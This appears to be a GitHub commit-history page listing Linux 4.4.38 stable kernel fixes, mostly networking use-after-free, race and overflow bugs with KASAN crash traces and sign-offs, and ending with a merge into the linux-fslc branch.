    BUG: KASAN: use-after-free in l2tp_ip6_close+0x22e/0x290 at addr ffff8800081b0ed8
    Write of size 8 by task syz-executor/10987
    CPU: 0 PID: 10987 Comm: syz-executor Not tainted 4.8.0+ Freescale#39
    Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
     ffff880031d97838 ffffffff829f835b ffff88001b5a1640 ffff8800081b0ec0
     ffff8800081b15a0 ffff8800081b6d20 ffff880031d97860 ffffffff8174d3cc
     ffff880031d978f0 ffff8800081b0e80 ffff88001b5a1640 ffff880031d978e0
    Call Trace:
     [<ffffffff829f835b>] dump_stack+0xb3/0x118 lib/dump_stack.c:15
     [<ffffffff8174d3cc>] kasan_object_err+0x1c/0x70 mm/kasan/report.c:156
     [<     inline     >] print_address_description mm/kasan/report.c:194
     [<ffffffff8174d666>] kasan_report_error+0x1f6/0x4d0 mm/kasan/report.c:283
     [<     inline     >] kasan_report mm/kasan/report.c:303
     [<ffffffff8174db7e>] __asan_report_store8_noabort+0x3e/0x40 mm/kasan/report.c:329
     [<     inline     >] __write_once_size ./include/linux/compiler.h:249
     [<     inline     >] __hlist_del ./include/linux/list.h:622
     [<     inline     >] hlist_del_init ./include/linux/list.h:637
     [<ffffffff8579047e>] l2tp_ip6_close+0x22e/0x290 net/l2tp/l2tp_ip6.c:239
     [<ffffffff850b2dfd>] inet_release+0xed/0x1c0 net/ipv4/af_inet.c:415
     [<ffffffff851dc5a0>] inet6_release+0x50/0x70 net/ipv6/af_inet6.c:422
     [<ffffffff84c4581d>] sock_release+0x8d/0x1d0 net/socket.c:570
     [<ffffffff84c45976>] sock_close+0x16/0x20 net/socket.c:1017
     [<ffffffff817a108c>] __fput+0x28c/0x780 fs/file_table.c:208
     [<ffffffff817a1605>] ____fput+0x15/0x20 fs/file_table.c:244
     [<ffffffff813774f9>] task_work_run+0xf9/0x170
     [<ffffffff81324aae>] do_exit+0x85e/0x2a00
     [<ffffffff81326dc8>] do_group_exit+0x108/0x330
     [<ffffffff81348cf7>] get_signal+0x617/0x17a0 kernel/signal.c:2307
     [<ffffffff811b49af>] do_signal+0x7f/0x18f0
     [<ffffffff810039bf>] exit_to_usermode_loop+0xbf/0x150 arch/x86/entry/common.c:156
     [<     inline     >] prepare_exit_to_usermode arch/x86/entry/common.c:190
     [<ffffffff81006060>] syscall_return_slowpath+0x1a0/0x1e0 arch/x86/entry/common.c:259
     [<ffffffff85e4d726>] entry_SYSCALL_64_fastpath+0xc4/0xc6
    Object at ffff8800081b0ec0, in cache L2TP/IPv6 size: 1448
    Allocated:
    PID = 10987
     [ 1116.897025] [<ffffffff811ddcb6>] save_stack_trace+0x16/0x20
     [ 1116.897025] [<ffffffff8174c736>] save_stack+0x46/0xd0
     [ 1116.897025] [<ffffffff8174c9ad>] kasan_kmalloc+0xad/0xe0
     [ 1116.897025] [<ffffffff8174cee2>] kasan_slab_alloc+0x12/0x20
     [ 1116.897025] [<     inline     >] slab_post_alloc_hook mm/slab.h:417
     [ 1116.897025] [<     inline     >] slab_alloc_node mm/slub.c:2708
     [ 1116.897025] [<     inline     >] slab_alloc mm/slub.c:2716
     [ 1116.897025] [<ffffffff817476a8>] kmem_cache_alloc+0xc8/0x2b0 mm/slub.c:2721
     [ 1116.897025] [<ffffffff84c4f6a9>] sk_prot_alloc+0x69/0x2b0 net/core/sock.c:1326
     [ 1116.897025] [<ffffffff84c58ac8>] sk_alloc+0x38/0xae0 net/core/sock.c:1388
     [ 1116.897025] [<ffffffff851ddf67>] inet6_create+0x2d7/0x1000 net/ipv6/af_inet6.c:182
     [ 1116.897025] [<ffffffff84c4af7b>] __sock_create+0x37b/0x640 net/socket.c:1153
     [ 1116.897025] [<     inline     >] sock_create net/socket.c:1193
     [ 1116.897025] [<     inline     >] SYSC_socket net/socket.c:1223
     [ 1116.897025] [<ffffffff84c4b46f>] SyS_socket+0xef/0x1b0 net/socket.c:1203
     [ 1116.897025] [<ffffffff85e4d685>] entry_SYSCALL_64_fastpath+0x23/0xc6
    Freed:
    PID = 10987
     [ 1116.897025] [<ffffffff811ddcb6>] save_stack_trace+0x16/0x20
     [ 1116.897025] [<ffffffff8174c736>] save_stack+0x46/0xd0
     [ 1116.897025] [<ffffffff8174cf61>] kasan_slab_free+0x71/0xb0
     [ 1116.897025] [<     inline     >] slab_free_hook mm/slub.c:1352
     [ 1116.897025] [<     inline     >] slab_free_freelist_hook mm/slub.c:1374
     [ 1116.897025] [<     inline     >] slab_free mm/slub.c:2951
     [ 1116.897025] [<ffffffff81748b28>] kmem_cache_free+0xc8/0x330 mm/slub.c:2973
     [ 1116.897025] [<     inline     >] sk_prot_free net/core/sock.c:1369
     [ 1116.897025] [<ffffffff84c541eb>] __sk_destruct+0x32b/0x4f0 net/core/sock.c:1444
     [ 1116.897025] [<ffffffff84c5aca4>] sk_destruct+0x44/0x80 net/core/sock.c:1452
     [ 1116.897025] [<ffffffff84c5ad33>] __sk_free+0x53/0x220 net/core/sock.c:1460
     [ 1116.897025] [<ffffffff84c5af23>] sk_free+0x23/0x30 net/core/sock.c:1471
     [ 1116.897025] [<ffffffff84c5cb6c>] sk_common_release+0x28c/0x3e0 ./include/net/sock.h:1589
     [ 1116.897025] [<ffffffff8579044e>] l2tp_ip6_close+0x1fe/0x290 net/l2tp/l2tp_ip6.c:243
     [ 1116.897025] [<ffffffff850b2dfd>] inet_release+0xed/0x1c0 net/ipv4/af_inet.c:415
     [ 1116.897025] [<ffffffff851dc5a0>] inet6_release+0x50/0x70 net/ipv6/af_inet6.c:422
     [ 1116.897025] [<ffffffff84c4581d>] sock_release+0x8d/0x1d0 net/socket.c:570
     [ 1116.897025] [<ffffffff84c45976>] sock_close+0x16/0x20 net/socket.c:1017
     [ 1116.897025] [<ffffffff817a108c>] __fput+0x28c/0x780 fs/file_table.c:208
     [ 1116.897025] [<ffffffff817a1605>] ____fput+0x15/0x20 fs/file_table.c:244
     [ 1116.897025] [<ffffffff813774f9>] task_work_run+0xf9/0x170
     [ 1116.897025] [<ffffffff81324aae>] do_exit+0x85e/0x2a00
     [ 1116.897025] [<ffffffff81326dc8>] do_group_exit+0x108/0x330
     [ 1116.897025] [<ffffffff81348cf7>] get_signal+0x617/0x17a0 kernel/signal.c:2307
     [ 1116.897025] [<ffffffff811b49af>] do_signal+0x7f/0x18f0
     [ 1116.897025] [<ffffffff810039bf>] exit_to_usermode_loop+0xbf/0x150 arch/x86/entry/common.c:156
     [ 1116.897025] [<     inline     >] prepare_exit_to_usermode arch/x86/entry/common.c:190
     [ 1116.897025] [<ffffffff81006060>] syscall_return_slowpath+0x1a0/0x1e0 arch/x86/entry/common.c:259
     [ 1116.897025] [<ffffffff85e4d726>] entry_SYSCALL_64_fastpath+0xc4/0xc6
    Memory state around the buggy address:
     ffff8800081b0d80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
     ffff8800081b0e00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
    >ffff8800081b0e80: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb
                                                        ^
     ffff8800081b0f00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
     ffff8800081b0f80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
    
    ==================================================================
    
    The same issue exists with l2tp_ip_bind() and l2tp_ip_bind_table.
    
    Fixes: c51ce49 ("l2tp: fix oops in L2TP IP sockets for connect() AF_UNSPEC case")
    Reported-by: Baozeng Ding <[email protected]>
    Reported-by: Andrey Konovalov <[email protected]>
    Tested-by: Baozeng Ding <[email protected]>
    Signed-off-by: Guillaume Nault <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Guillaume Nault authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    56366fa View commit details
    Browse the repository at this point in the history
  8. net: dsa: bcm_sf2: Ensure we re-negotiate EEE during after link change

    [ Upstream commit 76da870 ]
    
    In case the link change and EEE is enabled or disabled, always try to
    re-negotiate this with the link partner.
    
    Fixes: 450b05c ("net: dsa: bcm_sf2: add support for controlling EEE")
    Signed-off-by: Florian Fainelli <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    ffainelli authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    94de6f2 View commit details
    Browse the repository at this point in the history
  9. net, sched: respect rcu grace period on cls destruction

    [ Upstream commit d936377 ]
    
    Roi reported a crash in flower where tp->root was NULL in ->classify()
    callbacks. Reason is that in ->destroy() tp->root is set to NULL via
    RCU_INIT_POINTER(). It's problematic for some of the classifiers, because
    this doesn't respect RCU grace period for them, and as a result, still
    outstanding readers from tc_classify() will try to blindly dereference
    a NULL tp->root.
    
    The tp->root object is strictly private to the classifier implementation
    and holds internal data the core such as tc_ctl_tfilter() doesn't know
    about. Within some classifiers, such as cls_bpf, cls_basic, etc, tp->root
    is only checked for NULL in ->get() callback, but nowhere else. This is
    misleading and seemed to be copied from old classifier code that was not
    cleaned up properly. For example, d3fa76e ("[NET_SCHED]: cls_basic:
    fix NULL pointer dereference") moved tp->root initialization into ->init()
    routine, where before it was part of ->change(), so ->get() had to deal
    with tp->root being NULL back then, so that was indeed a valid case, after
    d3fa76e, not really anymore. We used to set tp->root to NULL long
    ago in ->destroy(), see 47a1a1d ("pkt_sched: remove unnecessary xchg()
    in packet classifiers"); but the NULLifying was reintroduced with the
    RCUification, but it's not correct for every classifier implementation.
    
    In the cases that are fixed here with one exception of cls_cgroup, tp->root
    object is allocated and initialized inside ->init() callback, which is always
    performed at a point in time after we allocate a new tp, which means tp and
    thus tp->root was not globally visible in the tp chain yet (see tc_ctl_tfilter()).
    Also, on destruction tp->root is strictly kfree_rcu()'ed in ->destroy()
    handler, same for the tp which is kfree_rcu()'ed right when we return
    from ->destroy() in tcf_destroy(). This means, the head object's lifetime
    for such classifiers is always tied to the tp lifetime. The RCU callback
    invocation for the two kfree_rcu() could be out of order, but that's fine
    since both are independent.
    
    Dropping the RCU_INIT_POINTER(tp->root, NULL) for these classifiers here
    means that 1) we don't need a useless NULL check in fast-path and, 2) that
    outstanding readers of that tp in tc_classify() can still execute under
    respect with RCU grace period as it is actually expected.
    
    Things that haven't been touched here: cls_fw and cls_route. They each
    handle tp->root being NULL in ->classify() path for historic reasons, so
    their ->destroy() implementation can stay as is. If someone actually
    cares, they could get cleaned up at some point to avoid the test in fast
    path. cls_u32 doesn't set tp->root to NULL. For cls_rsvp, I just added a
    !head should anyone actually be using/testing it, so it at least aligns with
    cls_fw and cls_route. For cls_flower we additionally need to defer rhashtable
    destruction (to a sleepable context) after RCU grace period as concurrent
    readers might still access it. (Note that in this case we need to hold module
    reference to keep work callback address intact, since we only wait on module
    unload for all call_rcu()s to finish.)
    
    This fixes one race to bring RCU grace period guarantees back. Next step
    as worked on by Cong however is to fix 1e052be ("net_sched: destroy
    proto tp when all filters are gone") to get the order of unlinking the tp
    in tc_ctl_tfilter() for the RTM_DELTFILTER case right by moving
    RCU_INIT_POINTER() before tcf_destroy() and let the notification for
    removal be done through the prior ->delete() callback. Both are independant
    issues. Once we have that right, we can then clean tp->root up for a number
    of classifiers by not making them RCU pointers, which requires a new callback
    (->uninit) that is triggered from tp's RCU callback, where we just kfree()
    tp->root from there.
    
    Fixes: 1f947bf ("net: sched: rcu'ify cls_bpf")
    Fixes: 9888fae ("net: sched: cls_basic use RCU")
    Fixes: 70da9f0 ("net: sched: cls_flow use RCU")
    Fixes: 77b9900 ("tc: introduce Flower classifier")
    Fixes: bf3994d ("net/sched: introduce Match-all classifier")
    Fixes: 952313b ("net: sched: cls_cgroup use RCU")
    Reported-by: Roi Dayan <[email protected]>
    Signed-off-by: Daniel Borkmann <[email protected]>
    Cc: Cong Wang <[email protected]>
    Cc: John Fastabend <[email protected]>
    Cc: Roi Dayan <[email protected]>
    Cc: Jiri Pirko <[email protected]>
    Acked-by: John Fastabend <[email protected]>
    Acked-by: Cong Wang <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    borkmann authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    cfa7c16 View commit details
    Browse the repository at this point in the history
  10. net/sched: pedit: make sure that offset is valid

    [ Upstream commit 95c2027 ]
    
    Add a validation function to make sure offset is valid:
    1. Not below skb head (could happen when offset is negative).
    2. Validate both 'offset' and 'at'.
    
    Signed-off-by: Amir Vadai <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    amirv authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    6c42bd6 View commit details
    Browse the repository at this point in the history
  11. netlink: Call cb->done from a worker thread

    [ Upstream commit 707693c ]
    
    The cb->done interface expects to be called in process context.
    This was broken by the netlink RCU conversion.  This patch fixes
    it by adding a worker struct to make the cb->done call where
    necessary.
    
    Fixes: 21e4902 ("netlink: Lockless lookup with RCU grace...")
    Reported-by: Subash Abhinov Kasiviswanathan <[email protected]>
    Signed-off-by: Herbert Xu <[email protected]>
    Acked-by: Cong Wang <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    herbertx authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    d1ed9c1 View commit details
    Browse the repository at this point in the history
  12. netlink: Do not schedule work from sk_destruct

    [ Upstream commit ed5d778 ]
    
    It is wrong to schedule a work from sk_destruct using the socket
    as the memory reserve because the socket will be freed immediately
    after the return from sk_destruct.
    
    Instead we should do the deferral prior to sk_free.
    
    This patch does just that.
    
    Fixes: 707693c ("netlink: Call cb->done from a worker thread")
    Signed-off-by: Herbert Xu <[email protected]>
    Tested-by: Andrey Konovalov <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    herbertx authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    baaf0c6 View commit details
    Browse the repository at this point in the history
  13. net/dccp: fix use-after-free in dccp_invalid_packet

    [ Upstream commit 648f0c2 ]
    
    pskb_may_pull() can reallocate skb->head, we need to reload dh pointer
    in dccp_invalid_packet() or risk use after free.
    
    Bug found by Andrey Konovalov using syzkaller.
    
    Signed-off-by: Eric Dumazet <[email protected]>
    Reported-by: Andrey Konovalov <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    1a15519 View commit details
    Browse the repository at this point in the history
  14. packet: fix race condition in packet_set_ring

    [ Upstream commit 84ac726 ]
    
    When packet_set_ring creates a ring buffer it will initialize a
    struct timer_list if the packet version is TPACKET_V3. This value
    can then be raced by a different thread calling setsockopt to
    set the version to TPACKET_V1 before packet_set_ring has finished.
    
    This leads to a use-after-free on a function pointer in the
    struct timer_list when the socket is closed as the previously
    initialized timer will not be deleted.
    
    The bug is fixed by taking lock_sock(sk) in packet_setsockopt when
    changing the packet version while also taking the lock at the start
    of packet_set_ring.
    
    Fixes: f6fb8f1 ("af-packet: TPACKET_V3 flexible buffer implementation.")
    Signed-off-by: Philip Pettersson <[email protected]>
    Signed-off-by: Eric Dumazet <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    ltspp-test authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    5a01eaf View commit details
    Browse the repository at this point in the history
  15. net: bcmgenet: Utilize correct struct device for all DMA operations

    [ Upstream commit 8c4799a ]
    
    __bcmgenet_tx_reclaim() and bcmgenet_free_rx_buffers() are not using the
    same struct device during unmap that was used for the map operation,
    which makes DMA-API debugging warn about it. Fix this by always using
    &priv->pdev->dev throughout the driver, using an identical device
    reference for all map/unmap calls.
    
    Fixes: 1c1008c ("net: bcmgenet: add main driver file")
    Signed-off-by: Florian Fainelli <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    ffainelli authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    c36a2a1 View commit details
    Browse the repository at this point in the history
  16. sh_eth: remove unchecked interrupts for RZ/A1

    [ Upstream commit 33d446d ]
    
    When streaming a lot of data and the RZ/A1 can't keep up, some status bits
    will get set that are not being checked or cleared which cause the
    following messages and the Ethernet driver to stop working. This
    patch fixes that issue.
    
    irq 21: nobody cared (try booting with the "irqpoll" option)
    handlers:
    [<c036b71c>] sh_eth_interrupt
    Disabling IRQ Freescale#21
    
    Fixes: db89347 ("sh_eth: Add support for r7s72100")
    Signed-off-by: Chris Brandt <[email protected]>
    Acked-by: Sergei Shtylyov <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    seebe authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    a89e2ff View commit details
    Browse the repository at this point in the history
  17. geneve: avoid use-after-free of skb->data

    [ Upstream commit 5b01014 ]
    
    geneve{,6}_build_skb can end up doing a pskb_expand_head(), which
    makes the ip_hdr(skb) reference we stashed earlier stale. Since it's
    only needed as an argument to ip_tunnel_ecn_encap(), move this
    directly in the function call.
    
    Fixes: 08399ef ("geneve: ensure ECN info is handled properly in all tx/rx paths")
    Signed-off-by: Sabrina Dubroca <[email protected]>
    Reviewed-by: John W. Linville <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    qsn authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    6e682c5 View commit details
    Browse the repository at this point in the history
  18. net: avoid signed overflows for SO_{SND|RCV}BUFFORCE

    [ Upstream commit b98b0bc ]
    
    CAP_NET_ADMIN users should not be allowed to set negative
    sk_sndbuf or sk_rcvbuf values, as it can lead to various memory
    corruptions, crashes, OOM...
    
    Note that before commit 8298193 ("net: cleanups in
    sock_setsockopt()"), the bug was even more serious, since SO_SNDBUF
    and SO_RCVBUF were vulnerable.
    
    This needs to be backported to all known linux kernels.
    
    Again, many thanks to syzkaller team for discovering this gem.
    
    Signed-off-by: Eric Dumazet <[email protected]>
    Reported-by: Andrey Konovalov <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eric Dumazet authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    7712581 View commit details
    Browse the repository at this point in the history
  19. net: ping: check minimum size on ICMP header length

    [ Upstream commit 0eab121 ]
    
    Prior to commit c0371da ("put iov_iter into msghdr") in v3.19, there
    was no check that the iovec contained enough bytes for an ICMP header,
    and the read loop would walk across neighboring stack contents. Since the
    iov_iter conversion, bad arguments are noticed, but the returned error is
    EFAULT. Returning EINVAL is a clearer error and also solves the problem
    prior to v3.19.
    
    This was found using trinity with KASAN on v3.18:
    
    BUG: KASAN: stack-out-of-bounds in memcpy_fromiovec+0x60/0x114 at addr ffffffc071077da0
    Read of size 8 by task trinity-c2/9623
    page:ffffffbe034b9a08 count:0 mapcount:0 mapping:          (null) index:0x0
    flags: 0x0()
    page dumped because: kasan: bad access detected
    CPU: 0 PID: 9623 Comm: trinity-c2 Tainted: G    BU         3.18.0-dirty Freescale#15
    Hardware name: Google Tegra210 Smaug Rev 1,3+ (DT)
    Call trace:
    [<ffffffc000209c98>] dump_backtrace+0x0/0x1ac arch/arm64/kernel/traps.c:90
    [<ffffffc000209e54>] show_stack+0x10/0x1c arch/arm64/kernel/traps.c:171
    [<     inline     >] __dump_stack lib/dump_stack.c:15
    [<ffffffc000f18dc4>] dump_stack+0x7c/0xd0 lib/dump_stack.c:50
    [<     inline     >] print_address_description mm/kasan/report.c:147
    [<     inline     >] kasan_report_error mm/kasan/report.c:236
    [<ffffffc000373dcc>] kasan_report+0x380/0x4b8 mm/kasan/report.c:259
    [<     inline     >] check_memory_region mm/kasan/kasan.c:264
    [<ffffffc00037352c>] __asan_load8+0x20/0x70 mm/kasan/kasan.c:507
    [<ffffffc0005b9624>] memcpy_fromiovec+0x5c/0x114 lib/iovec.c:15
    [<     inline     >] memcpy_from_msg include/linux/skbuff.h:2667
    [<ffffffc000ddeba0>] ping_common_sendmsg+0x50/0x108 net/ipv4/ping.c:674
    [<ffffffc000dded30>] ping_v4_sendmsg+0xd8/0x698 net/ipv4/ping.c:714
    [<ffffffc000dc91dc>] inet_sendmsg+0xe0/0x12c net/ipv4/af_inet.c:749
    [<     inline     >] __sock_sendmsg_nosec net/socket.c:624
    [<     inline     >] __sock_sendmsg net/socket.c:632
    [<ffffffc000cab61c>] sock_sendmsg+0x124/0x164 net/socket.c:643
    [<     inline     >] SYSC_sendto net/socket.c:1797
    [<ffffffc000cad270>] SyS_sendto+0x178/0x1d8 net/socket.c:1761
    
    CVE-2016-8399
    
    Reported-by: Qidan He <[email protected]>
    Fixes: c319b4d ("net: ipv4: add IPPROTO_ICMP socket kind")
    Cc: [email protected]
    Signed-off-by: Kees Cook <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    kees authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    06cdad2 View commit details
    Browse the repository at this point in the history
  20. sparc32: Fix inverted invalid_frame_pointer checks on sigreturns

    [ Upstream commit 07b5ab3 ]
    
    Signed-off-by: Andreas Larsson <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    andreas-gaisler authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    438e91d View commit details
    Browse the repository at this point in the history
  21. sparc64: Fix find_node warning if numa node cannot be found

    [ Upstream commit 74a5ed5 ]
    
    When booting up LDOM, find_node() warns that a physical address
    doesn't match a NUMA node.
    
    WARNING: CPU: 0 PID: 0 at arch/sparc/mm/init_64.c:835
    find_node+0xf4/0x120 find_node: A physical address doesn't
    match a NUMA node rule. Some physical memory will be
    owned by node 0.Modules linked in:
    
    CPU: 0 PID: 0 Comm: swapper Not tainted 4.9.0-rc3 Freescale#4
    Call Trace:
     [0000000000468ba0] __warn+0xc0/0xe0
     [0000000000468c74] warn_slowpath_fmt+0x34/0x60
     [00000000004592f4] find_node+0xf4/0x120
     [0000000000dd0774] add_node_ranges+0x38/0xe4
     [0000000000dd0b1c] numa_parse_mdesc+0x268/0x2e4
     [0000000000dd0e9c] bootmem_init+0xb8/0x160
     [0000000000dd174c] paging_init+0x808/0x8fc
     [0000000000dcb0d0] setup_arch+0x2c8/0x2f0
     [0000000000dc68a0] start_kernel+0x48/0x424
     [0000000000dcb374] start_early_boot+0x27c/0x28c
     [0000000000a32c08] tlb_fixup_done+0x4c/0x64
     [0000000000027f08] 0x27f08
    
    It is because linux use an internal structure node_masks[] to
    keep the best memory latency node only. However, LDOM mdesc can
    contain single latency-group with multiple memory latency nodes.
    
    If the address doesn't match the best latency node within
    node_masks[], it should check for an alternative via mdesc.
    The warning message should only be printed if the address
    doesn't match any node_masks[] nor within mdesc. To minimize
    the impact of searching mdesc every time, the last matched
    mask and index is stored in a variable.
    
    Signed-off-by: Thomas Tai <[email protected]>
    Reviewed-by: Chris Hyser <[email protected]>
    Reviewed-by: Liam Merwick <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    thomastaioracle authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    ed7b60d View commit details
    Browse the repository at this point in the history
  22. sparc64: fix compile warning section mismatch in find_node()

    [ Upstream commit 87a349f ]
    
    A compile warning is introduced by a commit to fix the find_node().
    This patch fix the compile warning by moving find_node() into __init
    section. Because find_node() is only used by memblock_nid_range() which
    is only used by a __init add_node_ranges(). find_node() and
    memblock_nid_range() should also be inside __init section.
    
    Signed-off-by: Thomas Tai <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    thomastaioracle authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    899b605 View commit details
    Browse the repository at this point in the history
  23. constify iov_iter_count() and iter_is_iovec()

    commit b57332b upstream.
    
    [stable note, need this to prevent build warning in commit
    a0ac402]
    
    Signed-off-by: Al Viro <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Al Viro authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    fd1aa12 View commit details
    Browse the repository at this point in the history
  24. Don't feed anything but regular iovec's to blk_rq_map_user_iov

    commit a0ac402 upstream.
    
    In theory we could map other things, but there's a reason that function
    is called "user_iov".  Using anything else (like splice can do) just
    confuses it.
    
    Reported-and-tested-by: Johannes Thumshirn <[email protected]>
    Cc: Al Viro <[email protected]>
    Signed-off-by: Linus Torvalds <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    torvalds authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    d41fb2f View commit details
    Browse the repository at this point in the history
  25. ipv6: Set skb->protocol properly for local output

    commit b4e479a upstream.
    
    When xfrm is applied to TSO/GSO packets, it follows this path:
    
        xfrm_output() -> xfrm_output_gso() -> skb_gso_segment()
    
    where skb_gso_segment() relies on skb->protocol to function properly.
    
    This patch sets skb->protocol to ETH_P_IPV6 before dst_output() is called,
    fixing a bug where GSO packets sent through an ipip6 tunnel are dropped
    when xfrm is involved.
    
    Signed-off-by: Eli Cooper <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eli Cooper authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    25d8b7c View commit details
    Browse the repository at this point in the history
  26. ipv4: Set skb->protocol properly for local output

    commit f418043 upstream.
    
    When xfrm is applied to TSO/GSO packets, it follows this path:
    
        xfrm_output() -> xfrm_output_gso() -> skb_gso_segment()
    
    where skb_gso_segment() relies on skb->protocol to function properly.
    
    This patch sets skb->protocol to ETH_P_IP before dst_output() is called,
    fixing a bug where GSO packets sent through a sit tunnel are dropped
    when xfrm is involved.
    
    Signed-off-by: Eli Cooper <[email protected]>
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eli Cooper authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    2176ec1 View commit details
    Browse the repository at this point in the history
  27. esp4: Fix integrity verification when ESN are used

    commit 7c7fedd upstream.
    
    When handling inbound packets, the two halves of the sequence number
    stored on the skb are already in network order.
    
    Fixes: 7021b2e ("esp4: Switch to new AEAD interface")
    Signed-off-by: Tobias Brunner <[email protected]>
    Acked-by: Herbert Xu <[email protected]>
    Signed-off-by: Steffen Klassert <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    tobiasbrunner authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    3bf28ce View commit details
    Browse the repository at this point in the history
  28. esp6: Fix integrity verification when ESN are used

    commit a55e238 upstream.
    
    When handling inbound packets, the two halves of the sequence number
    stored on the skb are already in network order.
    
    Fixes: 000ae7b ("esp6: Switch to new AEAD interface")
    Signed-off-by: Tobias Brunner <[email protected]>
    Acked-by: Herbert Xu <[email protected]>
    Signed-off-by: Steffen Klassert <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    tobiasbrunner authored and gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    52783ad View commit details
    Browse the repository at this point in the history
  29. Linux 4.4.38

    gregkh committed Dec 10, 2016
    Configuration menu
    Copy the full SHA
    c95b7f1 View commit details
    Browse the repository at this point in the history

Commits on Dec 11, 2016

  1. Merge tag 'v4.4.38' into 4.4.38+fslc

    This is the 4.4.38 stable release
    
    Merged LTS Supported branch 4.4 into linux-fslc 4.4.x branch
    redbrain17 committed Dec 11, 2016
    Configuration menu
    Copy the full SHA
    99c67cf View commit details
    Browse the repository at this point in the history